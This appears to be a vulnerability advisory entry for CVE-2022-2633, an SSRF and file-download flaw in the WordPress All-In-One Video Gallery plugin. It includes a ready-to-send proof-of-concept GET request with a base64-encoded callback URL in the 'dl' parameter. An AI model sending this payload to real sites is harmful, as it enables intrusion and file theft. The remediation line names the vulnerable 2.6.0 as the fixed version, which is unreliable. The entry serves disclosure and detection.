| Title | All-In-One Video Gallery <=2.6.0 - Server-Side Request Forgery |
|---|---|
| Author | theamanrawat |
| Severity | High |
| Impact | An attacker can exploit this vulnerability to send crafted requests to internal resources, potentially leading to unauthorized access, data leakage, or further attacks. |
| Remediation | Update to the latest version of the All-In-One Video Gallery plugin (2.6.0) or apply the vendor-provided patch to fix the SSRF vulnerability. |
| CVSS Score | 8.2 |
| EPSS Score | 0.89676 |
| CVE ID | CVE-2022-2633 |
| CWE ID | CWE-610 |
| Tags | cve2022 cve wp-plugin unauth ssrf wpscan wordpress wp all-in-one-video-gallery plugins360 vuln |
WordPress All-in-One Video Gallery plugin through 2.6.0 is susceptible to arbitrary file download and server-side request forgery (SSRF) via the ‘dl’ parameter found in the ~/public/video.php file. An attacker can download sensitive files hosted on the affected server and forge requests to the server.
GET /index.php/video/?dl=aHR0cHM6Ly9vYXN0Lm1lLw== HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-2633.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-2633.pcap
N/AN/A